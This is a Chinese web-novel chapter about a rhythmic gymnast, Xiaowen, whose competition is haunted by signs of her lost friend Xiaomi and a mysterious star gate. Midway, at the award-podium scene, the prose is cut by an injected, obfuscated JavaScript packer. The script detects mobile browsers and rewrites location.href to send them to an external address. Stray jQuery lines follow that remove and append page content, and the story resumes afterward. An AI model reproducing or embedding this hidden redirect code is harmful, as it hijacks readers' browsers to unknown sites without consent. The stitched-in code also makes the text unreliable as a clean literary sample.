晨雾渐渐散尽，市体育中心西侧的老训练馆已传来器械碰撞的脆响。小文蹲在器械区角落第三次整理彩带的干燥和工整情况，铁环内衬的毛刺扎进指腹，这让她想起来刚来到这个世界那个些个夜晚——小米握着她的手在训练房整理彩带的场景。


    手上的皮肉被混着血珠渗入的缎面划出一道道血口子。"疼吗？"当时小米用绷带帮她裹住渗血的手掌，星光从镜面折射到伤口上，"等以后习惯了就好了，皮肉会摩擦的更结实的。"


    "选手小文，三号台备检查！"器械师老周沙哑的嗓音惊散回忆。老周正站在斑驳的木桌前，桌上堆着八十年代的铜质印章，印泥干涸成褐色的痂。


    小文抱紧彩带卷轴和带棍钻进隔间时，阳光正透过气窗斜切进来，在绸带上割出明暗交错的裂痕。当铁轴触到光斑的刹那，细密的裂纹突然如蛛网蔓延，最深处的有一抹色彩像被困住的萤火虫般挣扎明灭——这光芒与小米消散时迸发的光粒太过相似，小文几乎要伸手去接住它。


    "器械合格。"老周的红章重重按在登记簿泛黄的纸页上，紫药水在拇指晕开成星云状。小文转身时彩带突然无风自动的飘了起来，带尾扫过墨迹未干的印章，映得"合格"二字竟扭曲成更衣室储物柜的排列图。第三柜门的位置闪烁着微光，那是小米还在时用灵能光粒烙下的星形标记，只有她们两个才能窥见。


    决赛馆穹顶的铸铁吊扇缓缓转动，将体乳的香气与汗液搅成粘稠的潮气。小文在候场区压腿时，哈克斯的选手依古丽正用绒布擦拭圈操器械。那支镶着孔雀石贴纸的圈突然褪去光泽，边缘泛起青色锈斑，如同老教堂铜钟上经年的铜锈。


    "器械是有灵魂的。"小米的声音突然在耳畔响起，那是她们一起度过秋夜时候告诉她的，小米抚摸着面前的门锁，"不要想太多，你可以的。"


    "3号选手入场。"广播电流杂音中，小文开始在赛场上跟着原有的音乐缓缓律动起来，但却发现自己的身体有点不受控制的偏离着原有的成套动作轨迹。“难道是被什么能量篡改了她的动作？”近来发生的所有事，不得不让她有次遐想。


    而原本行云流水的两次反跨跳垂直抛接，变成了需要反关节发力的高危斜抛。她抬眼望瞥向裁判席，主裁判正揉按着太阳穴，而鬓角却有靛蓝色粉笔灰从指缝簌簌落下——这颜色刺痛了小文的神经，之前小米燃烧灵能时，光翼正是这般介于深海与夜空的蓝。


    彩带抛向空中的瞬间，记忆如倒流的胶片闪回。最后一次合训时小米的彩带也是这样失控，缎面的彩带尾在训练场地上划出彗星般的轨迹。


    "别对乱用劲！"当时小米拽住她的手腕，"顺着能量的流向..."此刻小文本能地旋转身体跃起一个击腿跳，彩带却裹挟着穿堂风扑向观众席。当她足尖勾回彩带的刹那，主席台花瓶里三支白菊同时凋萎，花瓣散落的形状竟与小米消散前的微笑重叠——唇角上扬的弧度分毫不差。


    "完成分扣除0.3，器械出界0.5....扣0.2。"裁判们无声的将分数唰唰的记录在册。当整套动作完成下场后，小文看到大屏幕播报的总评分时，瞥见张教练手册里露出的照片边角。


    二十年前的颁奖台上，有个人带着的吊坠上面泛着同样的靛蓝幽光，吊坠背面的纹路在水渍中若隐若现——这纹样正是上周小文在更衣室镜面发现的，当时小米的残影用口红描摹着："双鱼逆游，星门现踪。"


    混合采访区的钨丝灯管嗡嗡震颤，在墙面投下栅栏状的阴影。记者将镀铬话筒压在小文汗湿的颈侧，紫水晶胸针折射出冷冽的光斑。


    "如何看待新规要求的手工铁环内衬？"这问题让想起小米生前最厌恶的时刻——每当媒体追问是否有什么训练捷径和奇遇之时，她总会把话筒转向心中的镜头："你们该问问自己的心，为什么容不下纯粹的努力成果。"


    "传统工艺更需要敬畏之心。"小文转动彩带轴芯，铁环在缎面暗纹间游走如血脉。当记者追问进入省队传闻时，她发现参赛证照片正在褪色，防伪水印扭曲成放射状星芒——那是她们被困镜屋第七天，小米用灵能光粒在冰面绘制的防护符。此刻水印边缘正在渗出靛蓝，像极了当时从天花板滴落的冷凝液。


    更衣室镜面蒙着淅沥的水雾，小文用彩带的袋子擦出了一个半月形清明。五个镜像同时浮现，最左侧的"自己"突然扯开运动服，锁骨下方那个纹路正在渗出血色液体。这处伤疤本是十四岁那年他去爬山时候留下的伤疤，现下却显现出上次的那个纹路。


    她想起，当时傀影队的追踪器射向小米时，她扑过去用身体挡住激光。此刻的血液体如同活泉般向心口汇聚，勾勒出的路径竟与星门阵的灵力回路几乎完全吻合。


    晚场决赛的碘钨灯将地板烤出细密裂纹，小文摩挲着球操器械的皮质表面。这是老周从仓库深处翻出的九十年代库存品，裹着泛黄的油纸。"小心点用，"交接时老周耳语，"你用的这批器械的可是上一届的冠军人物用过的。


    "当《月光》变奏曲漏弹两个音节时，小文突然像是想到什么似的，母亲有本日记像是密语一般——第七碎步对应的错音，正是地下承重柱的共振频率。正是之前小米带她夜探场馆时，曾用灵能共鸣找出过这个致命弱点。


    后软翻接球后背滚翻时，老式皮质球体突然加重，这熟悉的失控感让肌肉记忆苏醒。去年冬季特训时，小米总爱往她身上加沙袋："真正的训练是需要负重练习的，任何重量都得自己掌控，才能应付得来意外的发生。"


    此刻小文借着异常惯性腾空，完成独创的"沉月式鲤鱼打挺"动作，西北角看台突然爆出短路的焦糊味。当一组组合旋转结束时，球体的皮质层绽开蛛网状裂缝，露出内胆雕刻的青色夔纹——这纹样与镜屋封印阵如出一辙，最后一道刻痕还是小米用发夹划上去的。


    "艺术表现分追加扣0.5，使用非标器械。"裁判再度进入陌陌的扣分，而教练随身携带的铜铃仿佛可以隔空传音一般，震得人耳膜生疼。小文鞠躬时瞥见记裁判钢笔正漏着水，蓝黑墨水在稿纸上洇出后背伤疤的轮廓。这道月牙形疤痕有些眼熟，但又想不起来在哪里见过。


    颁奖台的暗红绒布褪成猪肝色，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15163510|165077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绒毛板结成无数个小漩涡。小文接过奖状时，铜板纸的寒意顺着指骨攀上脊柱。底面此刻正显影着若明暗交替的逆游纹，正是镜屋那面破碎的梳妆镜边框纹样。


    下面是一个合影环节，这是阿依古丽赛前塞给她的古钱币，币面双鱼图案的鱼眼处嵌着微闪的晶片，触碰时传来小米特有的灵能波动："小心奖状..."


    "请获奖运动员移步体检室。"工作人员拉起褪色的麻绳隔离带，小文注意到他们白大褂下摆沾着靛蓝染料。这种颜料她在镜屋见过——当时小米正在修补被傀影队破坏的星图，转头时马尾扫过颜料桶，蓝色染了满身。


    "像不像人鱼公主？"记得小米笑着在镜面画了条鱼尾，而此刻那些染料正从衣角滴落，在地面汇成双鱼逆游的轨迹。


    更衣室镜面突然蒙上水雾，五个镜像在视网膜重叠。最年幼的镜像不过十二岁模样，唇语带着小米教动作时的俏皮尾音："倒立手不能弯。"像是当晨露接触绿萝土壤时，翡翠色火苗从陶盆裂缝窜出，这火焰与之前何其相似——那夜小米牺牲在星门阵，火光同样在她们相握的指间跳跃。


    地下器械库的霉味混着镁粉的辛辣，小文翻看着奖状背面，忽有一股铜臭味簌簌飘进衣领。居然从纸张的侧面间隙处卷带出一份泛黄胶片，那是个人影在夺冠时的身姿在胶片上流动。


    画面虽有些模糊，但当画面转到颈间特写时，青色吊坠的纹路却与她今天使用的球体纹路完美契合。胶片齿孔突然渗出靛蓝液体，在地面显影出一副地下排水管的网状图，七个红星标注点连成双鱼——鱼眼位置正是消防通道拐角，是之前小米在那里替她挡下傀影队的电击棒那个位置。


    通风管传来三长两短的敲击，暗号节奏让想起训练馆参加特训的日子。阿依古丽的教练倒吊着递来圈操器械，圈的内侧用红色笔迹画着一个小小的笑脸——那是小米的笔迹。


    "她们在更衣室.."话音未落，锈斑突然膨胀成靛蓝泪滴。小文伸手接住一滴，液体在手心聚合成了十六岁的小米，穿着她们初见时的薄荷绿体操服，嘴角还沾着偷吃冰激凌的奶油。


    退向安全通道时，广播电流杂音中传来熟悉的哼唱。小文抚摸着球体裂缝里的青色纹路，却莫名哼起母亲教的一首民谣副歌。


    百米外巨幅海报突然卷曲，里面的身影在残缺处完成单吸腿转体——这个动作的发力角度，与小米教她的动作轨迹要领完全一致。当又一阵风掀起海报残片时，右下角露出褪色的字迹："我在星门彼端"，每个字的顿笔都像极了小米的笔迹。


    更衣室暗门吱呀开启，风铃花的香气飘来——那是小米最喜欢的沐浴乳香。储物柜第三格的星形标记灼热发烫，柜门夹缝露出一角靛蓝信笺。展开时星空笺纸上的字迹正在显形，小米的笔迹龙飞凤舞："当你读到这封信时，或许我已经不在了，但不要担心，你还在，我就能重塑灵体。记住，每次腾空都是你与我的共舞...我会在某一天回来找你。"


    信纸突然自燃，灰烬聚成小米的虚影。她指向窗外星空，摩羯座第三星爆发出前所未有的强光。